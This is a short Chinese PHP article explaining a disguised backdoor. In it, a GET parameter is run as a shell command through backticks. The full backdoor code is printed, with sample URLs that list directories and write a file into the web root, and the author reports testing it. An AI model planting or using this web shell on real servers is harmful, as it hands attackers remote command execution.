一个不易被发现的PHP后门代码解析

 更新时间:2014年07月05日 16:16:53   投稿:shichen2014  
这篇文章主要介绍了一个不易被发现的PHP后门代码解析,对于网络安全来说非常重要,需要的朋友可以参考下

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。

伪装性很好,很容易被管理员忽略。

$selfNums = $_GET['r'];
if (isset($selfNums)){
  echo `$selfNums`;
}

刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,

而且又不是单引号,这个就是关键所在了,这个符号是 Esc 下面的一个键(位于感叹号!旁边的),

通过 echo `系统命令`; 可以达到 system(); 一样的效果

如果不信的朋友可以测试

http://127.0.0.1/t.php?r=dir 可以列出目录

http://127.0.0.1/t.php?r=echo 我是马儿 >>D:\web\90sec.php

我用 appserv 和虚拟主机已经测试成功。

相关文章

  • PHP 编程的 5个良好习惯

    PHP 编程的 5个良好习惯

    像其他语言一样,开发人员可以用 PHP 编写出各种质量级别的代码。学习良好的编程习惯能够提高代码质量和效率。
    2009-02-02
  • 两个php日期控制类实例

    两个php日期控制类实例

    这篇文章主要介绍了两个php日期控制类,包含了详细的样式控制与使用方法,非常具有实用价值,需要的朋友可以参考下
    2014-12-12
  • PHP 文件扩展名 获取函数

    PHP 文件扩展名 获取函数

    有时候我们需要获取文件的扩展名,分类文件等原因,下面是php的函数实例代码。
    2009-06-06
  • PHP类与对象后期静态绑定操作实例详解

    PHP类与对象后期静态绑定操作实例详解

    这篇文章主要介绍了PHP类与对象后期静态绑定操作,结合实例形式分析了后期静态绑定相关概念、原理、使用方法及操作注意事项,需要的朋友可以参考下
    2018-12-12
  • php中文本操作的类

    php中文本操作的类

    php中文本操作的类...
    2007-03-03
  • 利用PHP扩展vld查看PHP opcode操作步骤

    利用PHP扩展vld查看PHP opcode操作步骤

    首先下载最新版vld扩展接下来编译安装vld扩展最后将生成的vld.so复制到extension_dir目录下然后修改php.ini文件接下来创建test.php文件,感兴趣的你可以参考下本文
    2013-03-03
  • 自制PHP框架之路由与控制器

    自制PHP框架之路由与控制器

    本文给大家介绍的是自制php框架的第一步,学会使用路由和控制器,非常的详细,有需要的小伙伴可以参考下
    2017-05-05
  • PHP上传文件时自动分配路径的方法

    PHP上传文件时自动分配路径的方法

    这篇文章主要介绍了PHP上传文件时自动分配路径的方法,可实现对上传文件的分类存放功能,具有一定参考借鉴价值,需要的朋友可以参考下
    2015-01-01
  • php无需编译安装openssl扩展的实现方法

    php无需编译安装openssl扩展的实现方法

    下面小编就为大家分享一篇php无需编译安装openssl扩展的实现方法,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-03-03
  • php利用gd库为图片添加水印

    php利用gd库为图片添加水印

    这篇文章主要为大家详细介绍了php利用gd库为图片添加水印,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2016-11-11

最新评论